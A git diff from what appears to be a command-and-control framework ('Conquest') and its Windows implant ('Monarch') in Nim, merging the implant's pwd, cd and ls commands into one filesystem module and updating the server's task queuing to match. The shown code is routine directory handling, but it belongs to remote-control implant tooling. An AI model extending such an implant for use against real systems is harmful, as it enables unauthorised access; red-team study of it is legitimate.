diff --git a/agents/monarch/commands/cd.nim b/agents/monarch/commands/cd.nim deleted file mode 100644 index 5292620..0000000 --- a/agents/monarch/commands/cd.nim +++ /dev/null @@ -1,27 +0,0 @@ -import os, strutils, base64, winim, strformat, sequtils -import ../types - -proc taskCd*(task: Task): TaskResult = - - let targetDirectory = task.args.join(" ").replace("\"", "").replace("'", "") - echo fmt"Changing current working directory to {targetDirectory}." - - try: - # Get current working directory using GetCurrentDirectory - if SetCurrentDirectoryW(targetDirectory) == FALSE: - raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).") - - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(""), - status: Completed - ) - - except CatchableError as err: - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(fmt"An error occured: {err.msg}" & "\n"), - status: Failed - ) \ No newline at end of file diff --git a/agents/monarch/commands/commands.nim b/agents/monarch/commands/commands.nim index f6c3d53..aea0d4d 100644 --- a/agents/monarch/commands/commands.nim +++ b/agents/monarch/commands/commands.nim @@ -1,3 +1,3 @@ -import ./[shell, sleep, pwd, cd, ls] +import ./[shell, sleep, filesystem] -export shell, sleep, pwd, cd, ls \ No newline at end of file +export shell, sleep, filesystem \ No newline at end of file diff --git a/agents/monarch/commands/ls.nim b/agents/monarch/commands/filesystem.nim similarity index 77% rename from agents/monarch/commands/ls.nim rename to agents/monarch/commands/filesystem.nim index e04d4a2..5e4c94f 100644 --- a/agents/monarch/commands/ls.nim +++ b/agents/monarch/commands/filesystem.nim @@ -2,9 +2,66 @@ import os, strutils, strformat, base64, winim, times, algorithm import ../types +# Retrieve current working directory +proc taskPwd*(task: Task): TaskResult = + + echo fmt"Retrieving current working directory." + + try: + + # Get current working directory using GetCurrentDirectory + let + buffer = newWString(MAX_PATH + 1) + length = GetCurrentDirectoryW(MAX_PATH, &buffer) + + if length == 0: + raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") + + return TaskResult( + task: task.id, + agent: task.agent, + data: encode($buffer[0 ..< (int)length] & "\n"), + status: Completed + ) + + except CatchableError as err: + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(fmt"An error occured: {err.msg}" & "\n"), + status: Failed + ) + +# Change working directory +proc taskCd*(task: Task): TaskResult = + + let targetDirectory = task.args.join(" ").replace("\"", "").replace("'", "") + echo fmt"Changing current working directory to {targetDirectory}." + + try: + # Get current working directory using GetCurrentDirectory + if SetCurrentDirectoryW(targetDirectory) == FALSE: + raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).") + + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(""), + status: Completed + ) + + except CatchableError as err: + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(fmt"An error occured: {err.msg}" & "\n"), + status: Failed + ) + +# List files and directories at a specific or at the current path proc taskDir*(task: Task): TaskResult = - echo fmt"Listing files and directories in current working directory." + echo fmt"Listing files and directories." try: # Check if users wants to list files in the current working directory or at another path diff --git a/agents/monarch/commands/pwd.nim b/agents/monarch/commands/pwd.nim deleted file mode 100644 index b886216..0000000 --- a/agents/monarch/commands/pwd.nim +++ /dev/null @@ -1,32 +0,0 @@ -import os, strutils, strformat, base64, winim - -import ../types - -proc taskPwd*(task: Task): TaskResult = - - echo fmt"Retrieving current working directory." - - try: - - # Get current working directory using GetCurrentDirectory - let - buffer = newWString(MAX_PATH + 1) - length = GetCurrentDirectoryW(MAX_PATH, &buffer) - - if length == 0: - raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") - - return TaskResult( - task: task.id, - agent: task.agent, - data: encode($buffer[0 ..< (int)length] & "\n"), - status: Completed - ) - - except CatchableError as err: - return TaskResult( - task: task.id, - agent: task.agent, - data: encode(fmt"An error occured: {err.msg}" & "\n"), - status: Failed - ) \ No newline at end of file diff --git a/server/agent/commands/cd.nim b/server/agent/commands/cd.nim deleted file mode 100644 index fe5cd29..0000000 --- a/server/agent/commands/cd.nim +++ /dev/null @@ -1,19 +0,0 @@ -import nanoid, sequtils, strutils, strformat, terminal, times -import ../../types - -proc taskSetWorkingDirectory*(cq: Conquest, arguments: seq[string]) = - - # Create a new task - let - date: string = now().format("dd-MM-yyyy HH:mm:ss") - task = Task( - id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), - agent: cq.interactAgent.name, - command: SetWorkingDirectory, - args: arguments, - ) - - # Add new task to the agent's task queue - cq.interactAgent.tasks.add(task) - - cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to change current working directory.") \ No newline at end of file diff --git a/server/agent/commands/commands.nim b/server/agent/commands/commands.nim index 148e03d..ad19e40 100644 --- a/server/agent/commands/commands.nim +++ b/server/agent/commands/commands.nim @@ -1,5 +1,5 @@ -import ./[shell, sleep, pwd, cd, ls] -export shell, sleep, pwd, cd, ls +import ./[shell, sleep, filesystem] +export shell, sleep, filesystem #[ "Monarch" Agent commands: diff --git a/server/agent/commands/filesystem.nim b/server/agent/commands/filesystem.nim new file mode 100644 index 0000000..d8e62ea --- /dev/null +++ b/server/agent/commands/filesystem.nim @@ -0,0 +1,54 @@ +import nanoid, sequtils, strutils, strformat, terminal, times +import ../../types + +proc taskGetWorkingDirectory*(cq: Conquest) = + + # Create a new task + let + date: string = now().format("dd-MM-yyyy HH:mm:ss") + task = Task( + id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), + agent: cq.interactAgent.name, + command: GetWorkingDirectory, + args: @[], + ) + + # Add new task to the agent's task queue + cq.interactAgent.tasks.add(task) + + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Tasked agent to get current working directory.") + +proc taskSetWorkingDirectory*(cq: Conquest, arguments: seq[string]) = + + # Create a new task + let + date: string = now().format("dd-MM-yyyy HH:mm:ss") + task = Task( + id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), + agent: cq.interactAgent.name, + command: SetWorkingDirectory, + args: arguments, + ) + + # Add new task to the agent's task queue + cq.interactAgent.tasks.add(task) + + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to change current working directory.") + +proc taskListDirectory*(cq: Conquest, arguments: seq[string]) = + + # Create a new task + let + date: string = now().format("dd-MM-yyyy HH:mm:ss") + task = Task( + id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), + agent: cq.interactAgent.name, + command: ListDirectory, + args: arguments, + ) + + # Add new task to the agent's task queue + cq.interactAgent.tasks.add(task) + + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to list files and directories.") + diff --git a/server/agent/commands/ls.nim b/server/agent/commands/ls.nim deleted file mode 100644 index 12bbe3b..0000000 --- a/server/agent/commands/ls.nim +++ /dev/null @@ -1,19 +0,0 @@ -import nanoid, sequtils, strutils, strformat, terminal, times -import ../../types - -proc taskListDirectory*(cq: Conquest, arguments: seq[string]) = - - # Create a new task - let - date: string = now().format("dd-MM-yyyy HH:mm:ss") - task = Task( - id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), - agent: cq.interactAgent.name, - command: ListDirectory, - args: arguments, - ) - - # Add new task to the agent's task queue - cq.interactAgent.tasks.add(task) - - cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to list files and directories.") \ No newline at end of file diff --git a/server/agent/commands/pwd.nim b/server/agent/commands/pwd.nim deleted file mode 100644 index 9d67286..0000000 --- a/server/agent/commands/pwd.nim +++ /dev/null @@ -1,19 +0,0 @@ -import nanoid, sequtils, strutils, strformat, terminal, times -import ../../types - -proc taskGetWorkingDirectory*(cq: Conquest) = - - # Create a new task - let - date: string = now().format("dd-MM-yyyy HH:mm:ss") - task = Task( - id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), - agent: cq.interactAgent.name, - command: GetWorkingDirectory, - args: @[], - ) - - # Add new task to the agent's task queue - cq.interactAgent.tasks.add(task) - - cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Tasked agent to get current working directory.") \ No newline at end of file